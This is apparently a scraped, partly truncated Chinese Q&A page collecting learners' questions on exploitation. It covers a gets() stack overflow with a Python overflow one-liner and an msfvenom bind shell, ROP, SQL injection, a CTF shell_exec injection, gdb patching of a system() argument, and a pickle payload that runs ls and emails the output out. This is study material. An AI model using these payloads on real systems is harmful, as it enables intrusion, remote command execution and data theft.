试图了解更多有关利用开发和构建 shellcode 的信息,但遇到了一个我不明白背后原因的问题。
为什么我无法运行 execve("/bin/sh") 等 shellcode 并生成可以与之交互的 shell?另一方面,我可以创建一个反向/bind_tcp shell 并使用 netcat 连接到它。
示例程序:
// gcc vuln.c -o vuln -m32 -fno-stack-protector -z execstack
#include <stdio.h>
#include <string.h>
void test() {
char pass[50];
printf("Password: ");
gets(pass);
if (strcmp(pass, "epicpassw0rd") == 0) {
printf("Woho, you got it!\n");
}
}
int main() {
test();
__asm__("movl $0xe4ffd4ff, %edx"); // jmp esp, call esp - POC
return(0);
}
Run Code Online (Sandbox Code Playgroud)
漏洞利用示例:
python -c "print 'A'*62 + '\x35\x56\x55\x56' + 'PAYLOAD'" | ./vuln
Run Code Online (Sandbox Code Playgroud)
示例有效负载(工作):
msfvenom -p linux/x86/shell_bind_tcp LPORT=4444 LHOST="0.0.0.0" …Run Code Online (Sandbox Code Playgroud) 我开始研究软件安全性,但我很难理解缓冲区溢出攻击和 ROP 攻击是什么。
据我了解,
缓冲区溢出攻击:
当缓冲区达到一定大小时,填充缓冲区并添加额外的代码,以便攻击者可以执行代码中的另一个函数或他/她自己的shellcode。
ROP攻击:
给出某个可以覆盖返回地址的输入,以便攻击者可以控制流量。
但两者之间的确切区别是什么?
我觉得两者都只是给出了过多的输入来覆盖不应该接近的区域。
例如,如果我有一个代码
1 #include <stdio.h>
2
3 void check(){
4 printf("overflow occurs!\n");
5 }
6
7 int main(int argc, char* argv[]){
8 char buffer[256];
9 gets(buffer);
10 printf("%s\n", buffer);
11 return 0;
12 }
Run Code Online (Sandbox Code Playgroud)
并尝试check()通过向函数提供特定输入来执行该函数gets()。
这是 ROP 攻击还是缓冲区溢出攻击?
我做了一件蠢事。我使用sudo python3 -m http.server\n启动了一个本地 python 服务器,我只是要访问一些文档并将其关闭,但我忘记了它并让它运行了 2 天。
该服务器在没有任何私有数据的数字海洋实例上运行。\n但是它确实包含各种编码项目(不受版本控制)、一些我曾经打算转入博客的杂文和其他一些东西。
\n\n我突然想起来并签名了,看起来至少有人试图侵入。我希望这里有人可以帮助我了解发生了什么以及我下一步应该采取什么步骤。这是输出的一部分:
\n\n---------------------------------------- \n5.178.86.78 - - [10/Sep/2019 23:20:49] code 400, message Bad request syntax (\'\\x05\\x01\\x00\') \n5.178.86.78 - - [10/Sep/2019 23:20:49] "" 400 - \n---------------------------------------- \nException happened during processing of request from (\'5.178.86.78\', 30322) \nTraceback (most recent call last): \n File "/usr/lib/python3.6/socketserver.py", line 317, in _handle_request_noblock \n self.process_request(request, client_address) \n File "/usr/lib/python3.6/socketserver.py", line 348, in process_request \n self.finish_request(request, client_address) \n File "/usr/lib/python3.6/socketserver.py", line 361, in finish_request \n self.RequestHandlerClass(request, …Run Code Online (Sandbox Code Playgroud) 我有一个flex应用程序,需要能够生成和执行JavaScript.当我这样说时,我的意思是我需要执行我在Flex应用程序中创建的原始JavaScript(而不仅仅是现有的JavaScript方法)
我目前通过公开以下JavaScript方法来做到这一点:
function doScript(js){ eval(js);}
Run Code Online (Sandbox Code Playgroud)
然后我可以在Flex中做这样的事情(注意:我正在做一些比真正的Flex应用程序中的警报框更重要的事情):
ExternalInterface.call("doScript","alert('foo'));
Run Code Online (Sandbox Code Playgroud)
我的问题是这是否会带来任何安全风险,我假设它不是因为Flex和JasvaScript都运行客户端...
有一个更好的方法吗?
当用户的输入插入MySQL查询时,用户输入中应该替换哪些危险字符?我知道引号,双引号,\ r和\n.还有其他人吗?
(我没有选择使用接受参数的智能连接器,因此我必须自己构建查询,这将以多种编程语言实现,包括一些模糊的语言,因此mysql_real_escape_stringPHP中的解决方案无效)
我被分配到我公司的一个遗留Web应用程序,经过一两天的探索,我发现了一个类似于以下内容的SQL注入向量:
mysql_query("SELECT * FROM foo WHERE bar='" . $_GET['baz'] . "'");
Run Code Online (Sandbox Code Playgroud)
我试图对此执行SQL注入测试,但由于PHP的magic_quotes_gpc模块已打开,它失败了.
我知道magic_quotes_gpc是脏的,但我们有数百-如果不是数千-类似于上面的一个行的代码.我们根本无法magic_quotes_gpc关闭,因为这会使像这样的代码大开.
我想知道上面的代码是如何"可利用"的,以及我们是否应该立即修复它,或者包括修复它与我们的其他重构任务的任务.
我正在接受一个网络安全类,对于一项任务,我们必须利用一个特定的php文件,并获得对它所托管的服务器的某种访问权限.我可以设置我自己的$email和$ password变量$_POST.我相信我能利用的唯一代码就是这个.
$email = $_POST['email']
$password = $_POST['password']
....
$accountfile = "./acounts/" . $email
if(!file_exists($accountfile)){
diefooter("unknown email address or password")
}
$fh = fopen($accountfile, "r")
if(!$fh){
diefooter("Cannot open file $accountfile.");
}
$last = fgets($fh);
$first = fgets($fh);
$pass = fgets($fh);
if(strcmp($pass,$password)!=0){
diefooter("wrong email or password.")
}
Run Code Online (Sandbox Code Playgroud)
我知道fopen()函数中内置了漏洞,我可以使用正确的输入访问shell.
filePath = "/var/ctf/music-copyright/html/cgi-bin/login.php"
shellKode = "exploit@gmail.com\0;echo shell_exec("+'"cat '+filePath+'");'
# payload = {'email':shellKode, 'password':'test'}
testPayload = {'email':'exploit@gmail.com','password':'a'}
r = requests.post(url, data = testPayload)
print(r.text)
Run Code Online (Sandbox Code Playgroud)
我可以在系统中输入电子邮件,但在保存之前会验证格式.在这一点上,我有点失落,不知道我还能做些什么.
fopen()是我认为可以被利用的文件中的唯一函数,我想不出另一个漏洞利用的地方.
我正在尝试通过Capture-the-Flag实时VM进行操作,并在尝试使用gdb更改在堆栈上传递的值(最后要推送的项)时陷入困境:
system("date");
Run Code Online (Sandbox Code Playgroud)
至
system("ash");
Run Code Online (Sandbox Code Playgroud)
到目前为止,我的gdb努力如下:
堆
我感兴趣的地址是堆栈上的最后一个项目(下面的堆栈列表中的第一个)
(gdb) p $esp
$1 = (void *) 0xbf902690
(gdb) x/32w 0xbf902690
0xbf902690: 0x080485ff 0x0000044c 0xb7783ff4 0xbf9026b8
0xbf9026a0: 0xb76a8fa9 0xb7797356 0x08048529 0x0000044c
0xbf9026b0: 0x08048520 0x08048410 0xbf902728 0xb7695cf7
0xbf9026c0: 0x00000001 0xbf902754 0xbf90275c 0xbf9026e4
....
(gdb) x/s 0x080485ff
0x80485ff: "date"
(gdb) x/s *0x080485ff
0x65746164: <Address 0x65746164 out of bounds>
(gdb)
Run Code Online (Sandbox Code Playgroud)
尝试更改内存1
(gdb) set {const char [4] *}0x080485ff = "ash "
(gdb) x/s 0x080485ff
0x80485ff: "\b`\354\b"
(gdb)
Run Code Online (Sandbox Code Playgroud)
如您所见,我操纵了指针。
尝试更改内存2
(gdb) set *((const char *)0x080485ff) = "ash " …Run Code Online (Sandbox Code Playgroud) 我是Buffer Overflow漏洞的新手,我从一个简单的C程序开始.
码
#include <stdio.h>
#include <strings.h>
void execs(void){
printf("yay!!");
}
void return_input (void)
{
char array[30];
gets(array);
}
int main()
{
return_input();
return 0;
}
Run Code Online (Sandbox Code Playgroud)
编译阶段
我通过禁用stack protectoras来编译上面的cc程序:
cc test.c -o test -fno-stack-protector
Run Code Online (Sandbox Code Playgroud)
使用elf文件的转储objdump如下:
0804843b <execs>:
804843b: 55 push %ebp
804843c: 89 e5 mov %esp,%ebp
804843e: 83 ec 08 sub $0x8,%esp
8048441: 83 ec 0c sub $0xc,%esp
8048444: 68 10 85 04 08 push $0x8048510
8048449: e8 b2 fe ff ff call 8048300 <printf@plt>
804844e: …Run Code Online (Sandbox Code Playgroud) 我有一个将pickle文件发送到服务器的任务,该服务器会取消发送给它的任何内容.我的计划是让它给我发回电子邮件给我打印出的ls命令.我有这个文件:
import smtplib
import commands
status, output = commands.getstatusoutput("ls")
server = smtplib.SMTP_SSL('smtp.gmail.com')
server.login("...@gmail.com", "password")
server.sendmail("...@gmail.com", "...@gmail.com", output)
server.quit()
Run Code Online (Sandbox Code Playgroud)
如何让服务器运行它?我想发送一个文件,如:
cos
system
(S''
tR.
Run Code Online (Sandbox Code Playgroud)
用''中的python脚本.
我想的是:
cos
system
(S'python\n import smptlib\n ...'
tR.
Run Code Online (Sandbox Code Playgroud)
但它不执行命令.我怎样才能让它执行python?
我试过自己的电脑,python发送电子邮件很好.
exploit ×10
c ×2
gets ×2
php ×2
python ×2
security ×2
apache-flex ×1
assembly ×1
fopen ×1
gdb ×1
internals ×1
javascript ×1
magic-quotes ×1
mysql ×1
pickle ×1
sanitization ×1
shellcode ×1